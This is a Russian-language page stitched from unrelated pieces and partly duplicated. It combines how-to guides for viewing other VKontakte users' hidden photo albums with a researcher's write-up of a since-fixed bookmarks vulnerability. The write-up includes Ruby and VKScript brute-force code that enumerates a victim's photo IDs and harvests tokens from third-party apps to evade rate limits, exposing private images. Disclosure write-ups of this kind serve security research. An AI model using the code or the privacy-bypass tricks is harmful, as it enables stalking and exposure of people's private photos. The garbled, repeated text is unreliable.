Уязвимость ВКонтакте: доступ к превью фотографий из диалогов и скрытых альбомов любого пользователя. Как смотреть скрытые фотографии вконтакте Спалить фотографии в вк

Уязвимость ВКонтакте: доступ к превью фотографий из диалогов и скрытых альбомов любого пользователя. Как смотреть скрытые фотографии вконтакте Спалить фотографии в вк

Инструкция

В случае если страница с фотографиями заблокирована, то посмотрите на адресную строку (сверху появляется адрес страницы куда вы вошли). В этой строке вы увидите надпись http://vkontakte.ru/id(цифры). Вам необходимо скопировать id пользователя, чьи фотографии вы хотите посмотреть. Например http://vkontakte.ru/id123 , где число в конце ссылки (123) и есть искомое id.

Зайдите на сайт http://susla.ru/ Сразу же вы увидите главную страницу с краткой инструкцией и окном для ввода с надписью "Сюда". В это окошко вставляем или вводим скопированный id и жмем "Смотреть". После нажатия вы перейдете на новую страницу, где высветятся все фотографии искомого пользователя.

Щелкните по появившимся фотографиям. Они будут высвечиваться в полном размере. Вы можете свободно их просматривать. В случае если на странице пользователя нет фотографий, высветится надпись "Нету".

Видео по теме

Обратите внимание

Часто для просмотра чужих страниц и фотографий предлагают воспользоваться различными программами, которые требуют установки. Подобные программы с вероятностью 99% являются вирусами. Ни в коем случае не устанавливайте их, а если установили - немедленно удалите и проверьте ваш компьютер антивирусом

Источники:

  • как просмотреть фотоальбомы вконтакте

Инструкция

В меню рядом с аватаром или личной фотографией найдите ссылку «Мои фотографии» (или «Мои фотоы»). Она может находиться в меню сбоку от фото, под ним, реже над ним. В случаях доступ к фотографиям открыт с любой страницы сайта – прямо под шапкой сайта, на левой или правой части страницы может располагаться такая же ссылка.

На странице по этой ссылке будут показаны эскизы всех загруженных вами фотографий, в том числе аватаров и фотографий, загруженных другими пользователями, если вы на них отмечены. Щелкните левой кнопкой мыши по эскизу заглавного кадра одного из ваших фотоальбомов.

Перед вами появятся эскизы всех фотографий альбома. Щелкните по первой фотографии для увеличения. Листайте альбом нажатием левой кнопки мыши или сочетанием “Ctrl-стрелка вправо“.

Видео по теме

Все мы любим показывать друзьям фотографии, снятые во время путешествий и различных памятных событий. Цифровые технологии позволяют загружать фото прямо в сеть – на различные ресурсы, в том числе социальные сети. Но как ограничить круг пользователей, которые могут просматривать ваши фото?

Инструкция

Самые социальные сети в России, исходя из количества аккаунтов и посещений в сутки – это ВКонтакте и FaceBook.Закрыть доступ к альбому ВКонтакте можно следующим образом. Зайдите в «Мои фотографии» на вашей страничке ВК и найдите нужный . Напротив строки «Доступен» выберите «только мне», если хотите, чтобы никто не фотографии из этого . Вариант «только » будет показывать альбом только друзей ВКонтакте, «некоторым друзьям» - только выбранным друзьям из общего списка, «всем, кроме» - всему списку друзей, кроме специально созданного для данного альбома «ограничивающего листа».После того как режим доступа выбран, просто покиньте страницу. Конфиденциальность альбома будет настроена.

В социальной сети FaceBook альбомы закрываются следующим образом. Перейдите к нужному фотоальбому и нажмите кнопку «Изменить информацию об альбоме» внизу экрана. На вкладке «Свойства альбома» в меню «Доступ» выберите подходящее значение конфиденциальности. Однако, несмотря на данное ограничение, пользователи все еще смогут просматривать некоторые ваши фотографии, а именно, фото, загруженные другими пользователями, на которых отмечены вы. Ограничение все еще оставляет возможность другим пользователям просматривать ваши фотографии в других разделах сайта.Обратите внимание, что пользователь, разместивший фотографию, выбирает аудиторию для данного снимка. Если вы не хотите, чтобы ваше фото просматривали его друзья или другие пользователи FaceBook, попросите его удалить фото посредством сообщений.

Видео по теме

Несмотря на то, что социальная сеть VK уделяет огромное внимание защищенности личных данных пользователей, способы проникнуть в личную жизнь других людей все же есть. Впрочем, серьезного доступа к информации о человеке вы в любом случае не получите – лазейки в защите всегда очень ограничены и далеко не всегда работоспособны.

Вам понадобится

  • -собственный профиль на сайте vk.com.

Инструкция

Введите в адресной строке браузера durov.ru. Данный проект является ответвлением сервиса vk.com и потому абсолютно легален – на ранних стадиях разработки он являлся тестовой площадкой для технологии vkontakte-API.

Откройте профиль интересующего вас человека. Под аватаром вы увидите три синих полосы, обозначающих разделы: Friends (друзья), Friends Online (друзья в сети) и Photos. Последняя будет открыта только в том случае, если вы можете посмотреть хотя бы один фотоальбом на данной странице. Обратите внимание на то, что в правой части синей строки расположена и активна кнопка «Photos With User». Секрет в том, что вы можете посмотреть «Фотографии, на которых отмечен пользователь» вне зависимости от того, открыты они в свойствах «приватности» или нет – просто кликните по любому из появившихся в строке изображений, и оно развернется на весь экран.

Нужно открыть фотографию, кликнуть непосредственно по картинке правой кнопкой мыши и выбрать пункт «Открыть изображение в новом окне» или схожий. Откроется новая вкладка, в которой будет развернута только картинка. По адресу этой «страницы» (скопировать его можно в адресной строке) любой пользователь может получить доступ к данному изображению. Ссылка будет иметь приблизительно следующий вид: http://cs9713.vk.com/u21472493/-14/z_b8639xxx.jpg

Вы можете использовать скрипт vkopt. Это не вредоносная программа – всего лишь набор «советов» вашему браузеру, при помощи которых он сможет отображать гораздо больше информации о чужих страницах. Так, появится совершенно новое меню: «Проверить на защищенность». По нажатии данной кнопки у вас на дисплее появятся кнопки, при помощи которых можно посмотреть часть данных пользователя, в том числе и фотографии.

Видео по теме

Полезный совет

В интернете вы можете найти достаточно сложное описание доступа к чужим фотографиям при помощи изменения названий в адресной строке. Скрипт vkopt работает по тому же принципу, но делает все автоматически - ничего незаконного в этом нет.

Источники:

  • как просмотреть скрытых друзей в контакте

На сайте «ВКонтакте» есть возможность скрыть альбом со снимками от глаз любопытных пользователей (ограничить просмотр для некоторых или же оставить только для себя снимки). Однако возможно и вернуть просмотр изображений.

Вам понадобится

  • Компьютер с доступом в интернет, регистрация на сайте «ВКонтакте»

Инструкция

Зайдите на свою страницу на сайте «ВКонтакте», занеся логин и пароль в соответствующие поля. С правой стороны от главной фотографии (аватарки), в списке разделов вашего аккаунта найдите ссылку «Мои фотографии» и нажмите на нее левой кнопкой мышки один раз. Перед вами откроется список ваших альбомов с загруженными снимками. Найдите нужное фотохранилище и кликните по нему мышкой. Попасть к фотографиям вы можете и другим путем – справой стороны на вашей странице под списком друзей и подписок найдите раздел «Фотоальбомы» и зайдите в него, кликнув на надпись левой кнопкой мышки один раз.

Перед вами откроется страница с загруженными снимками. В верхней ее части с правой стороны найдите надпись «Редактировать альбом» и нажмите на нее левой кнопкой мышки один раз. Появится страница с редакцией ваших снимков.

В верхней части страницы, под полем с описанием альбома найдите две категории редактирования – «Кто может просматривать этот альбом?» и «Кто может комментировать фотографии?». Справа от каждой категории нажмите правой кнопкой мышки один раз по имеющейся там надписи. В открывшемся окошке выбора кликните по «Все пользователи» в первом и втором случае.

На сайте «ВКонтакте» вы можете просмотреть также и других пользователей. Для этого в адресной строке скопируйте id-номер аккаунта нужного человека. Затем вставьте этот номер в адресную строку в новой вкладке http://vkontakte.ru/photos.php?id=000000. Вместо «000000» подставьте индивидуальный номер страницы интересного вам человека. После этого нажмите «Enter» на клавиатуре и перед вами появятся альбомы пользователя.

Источники:

  • Как открыть закрытые альбомы

Каждый взрослый и даже ребенок десятки и сотни раз фиксировал с помощью фотоаппарата знаковые события своей или чьей-то жизни: первый шаг еще неокрепших ножек, падение с велосипеда, хоровод вокруг именинного торта, выпускной бал, предложение руки и сердца. Безусловно, позировать и снимать – занятие увлекательное, а вот сидеть долгими часами, вклеивая «лучшие моменты» в альбом, – дело, увы, затратное. В том смысле, что требует терпения. Благодаря порталу Wikers, любой пользователь Интернета, независимо от местопребывания, отныне может быстро, качественно и с фантазией оформить личную фотокнигу. Иными словами, Wikers – это сервис по изготовлению персонифицированных полиграфических продуктов, таких как фотокниги, фотокалендари, постеры, открытки, журналы.

Вам понадобится

Инструкция

Выберите нужный шаблон фотокниги. На текущий момент на сайте доступны 6 шаблонов, соответствующих наиболее популярным размерам альбомов.

Загрузите и расставьте фотографии в специальные рамки, добавьте текст.

Следующий шаг – это просмотр вашей фотокниги. Нажимаем кнопку "Просмотр" в правом нижнем углу экрана. Если вам все нравится, то можно переходить к оформлению заказа. Если необходимо еще что-то изменить, то нажмите на кнопку "Редактировать".

75 360 158 2

Часто случается, что позарез необходимо посмотреть фотографии закрытого профиля VK. Как известно, любой пользователь имеет возможность самостоятельно выбирать уровень приватности своего профиля, так что закрыть весь альбом, или отдельные фотографии – это дело нескольких кликов. Оказывается, смотреть закрытые фото можно! Есть определенные хитрости, и «дыры», об одной из которых мы вам сегодня и расскажем.

Имейте в виду, что все они оперативно закрываются, так что не факт, что этот, как и любой другой способ, будет действительный через неделю или месяц.

Вам понадобятся:

Открываем исходный код

Для начала попытайтесь . Если альбомы не открываются, то действуем следующим образом. Итак, открываем профиль человека, чьи фотографии мы хотим посмотреть. Далее, нам нужно открыть исходный код этой страницы.

Для этого нажмите правой кнопкой мыши по свободной области, и в контекстном меню ищите пункт «Посмотреть исходный код страницы», «Просмотр кода элемента», или тому подобное. Также, можно воспользоваться клавишей F12, если у вас Google Chrome. Итак, перед нами исходный код страницы. Что дальше?

Ищем нужный фрагмент

При помощи комбинации клавиш Ctrl+F открываем строку поиска, и вводим туда слово «albums».

Результатов будет несколько, но нам нужен тот, после которого будут идти цифры (это ID профиля). Как правило, в выдаче этот фрагмент будет третьим с начала. Нашли? Отлично, скопируйте их при помощи комбинации клавиш Ctrl+C.

Работаем с адресной строкой

Итак, мы имеем необходимый фрагмент кода. Что дальше? Для того, чтобы посмотреть скрытые фотографии в Контакте, вернитесь на необходимую страницу (страничка с исходным кодом нам больше не понадобиться).

В адресной строке браузера мы видим ссылку, типа vk.com/id#####, где #### – ID страницы. Вы должны знать, и друзей. Ставим курсор на конец адресной строки, и вводим в нее символы: «?z=», после чего копируем сюда тот фрагмент из исходного кода страницы, который мы искали.

В результате, в адресной строке браузера должно быть следующее: vk.com/id####?z=albums####, где #### – это ID человека.

Нажимаем Enter, и перед нами открываются все фотографии человека.

Таким нехитрым способом можно посмотреть фото в закрытом альбоме в контакте, а также увидеть список альбомов тех людей, кто удалился из друзей Вконтакте или незнакомых пользователей.

Частые "вопросы-ответы"

    Как смотреть закрытый альбом пользователя вк через телефон?

    Инструкция для просмотра такая же как и с компьютера.

    Какие скрытые возможности вконтакте?

    1. Если зайти в раздел "Настройки" и во вкладке "Общее" изменить язык на дореволюционный или советский, то интерфейс Вконтакте немного изменится.
    2. Если хотите, чтобы на личной страничке некоторая информация о вас оставалась пустой, то добавьте в таких полях код.
    3. Вы можете в графе "Место работы" сделать активную ссылку на любую группу Вконтакте. Для этого перейдите в раздел "Редактировать", выберите вкладку "Карьера" и в пункте "Место работы" напишите название сообщества, в котором состоите.
    4. В разделе "Настройки" id можно поменять на короткий и запоминающийся адрес.

    Какой сервис, чтобы смотреть скрытые фото в контакте?

    Необходимо найти фотографию человека, на которой он отмечен, после чего перейти к ускоренному просмотру и пролистывать фото. Несмотря на то, что обыкновенный доступ к ним закрыт, просмотреть их удастся. Эту «дыру» техническая служба пока устранить не в состоянии.

    Как посмотреть закрытый аккаунт в вк?

    Для просмотра закрытого профиля требуется:
    1. Узнать ID анкеты. наводим мышку на "Друзья ИМЯ". Копируем ссылку.
    2. *[ссылка заблокирована по решению администрации проекта].
    3. Цифры после "id=" и есть ID профиля.
    Копируем эти цифры и вставляем в нужные ссылки.

    Кому можно смотреть фотографии вконтакте?

    В зависимости от того, кому вы дали доступ до ваших фото.

    Как увидеть все фото в контакте?

    Данная информация описана в статье.

    Как посмотреть фото группы в контакте?

    Найдите группу или страницу по интересам, затем выберите пункт чуть ниже поисковой строки «Сообщества». Потом чуть правее вы увидите «Тип сообщества» (поставьте отметку напротив: любой, группа, страница, встреча) и нажмите поиск. Откроется список групп, в которых выберите себе подходящие. Если группа открытая, вы без проблем сможете посмотреть все ее содержимое: аудио, видео, фото, обсуждения.
    Если вы зашли на страницу закрытой группы, обратите внимание на верхний правый угол под фотографией. Там будет написано: «Подписаться» (на страницу) или «Подать заявку» (в группу).
    Подождите некоторое время, так как ваша заявка рассматривается администраторами группы. Если они одобрят, то группа появится в списке на вашей странице. Теперь вы можете просматривать все содержимое группы.

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.


История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = { "Cookie" => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { "today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented .

Окончательная версия скрипта выглядит так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l=;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к

Сегодня мы расскажем вам, уважаемые читатели, об одной крайне необычной фишке, которая присутствует в ВК — поиске похожих фотографий, когда вы можете найти пользователей, у которых в профиле загружено такое же изображение.

Зачем это нужно, спросите вы? Существует две основных причины.

  • Первая. С помощью поиска одинаковых изображений вы всегда сможете найти (или не найти) человека, который использует ваши фотографии. Иными словами, вы сможете обнаружить своих же клонов.
  • Вторая причина. Допустим, вам нужно найти человека, а у вас есть только его фотография. С ее помощью вы можете воспользоваться поиском по картинкам в ВК и, вполне возможно, найдете человека, которого ищите.

Стоит отметить, что сервисов поиска по фотографиям немало, например, он есть у того же Google, но в данном случае поиск осуществляется не по всему интернету, а только по ВКонтакте.

Ищем пользователя по картинке

Давайте приступать к поиску. Допустим, что нам необходимо найти клонов или пользователей, у которых загружена определенная фотография.

Первым делом необходимо открыть картинку, которую мы ищем. Если она не загружена в ваш фотоальбом, загрузите ее.

Открываем картинку, например:

Смотрим в адресную строку браузера. Вы должны увидеть адрес примерного такого вида: https://vk.com/photo********_384****** . Под звездочками photo******** скрывается ваш , а цифры 384****** , которые находятся после нижнего подчеркивания, это номер фотографии. Скопируйте это адрес, но без https://vk.com/, то есть у вас должно получиться photo********_384****** .

Закрываем вкладку или оставляем ее открытой и открываем новую, заходим на страницу ВК и выбираем раздел «Мои новости» в меню. Вы увидите новостную ленту:

Если рядом с подразделом «Лента» находится пункт «Фотографии», пропускаете этот шаг. Если пункт отсутствует, нажмите на крестик и добавьте пункт «Фотографии».

Нажимаем на пункт «Фотографии». Появится строка поиска «Поиск по фотографиям».

Пишем в строку слово copy: и добавляем ссылку на фотографию, которую мы скопировали ранее, то есть у вас должно получиться примерно следующее: copy:photo********_384****** . Обратите внимание, что звездочки — это всего лишь пример, под ними находятся id и порядковый номер фотографии! Например, если мы возьмем для поиска определенную фотографию Павла Дурова, то в строке нужно написать, например, copy:photo1_327778612 , где photo1 — id пользователя (Дурова в данном случае), а 327778612 — порядковый номер фотографии. Затем нажимаем на клавишу Enter.

В нашем случае удалось обнаружить 7 одинаковых фотографий.

Если нажать на каждую из них, то можно будет увидеть, какой пользователь или в какой паблик было загружено изображение. Вероятно, поиск осуществляется только по тем фотографиям, которые находятся в открытом доступе. Закрытые от просмотра картинки нам обнаружить не удалось.

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.


История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

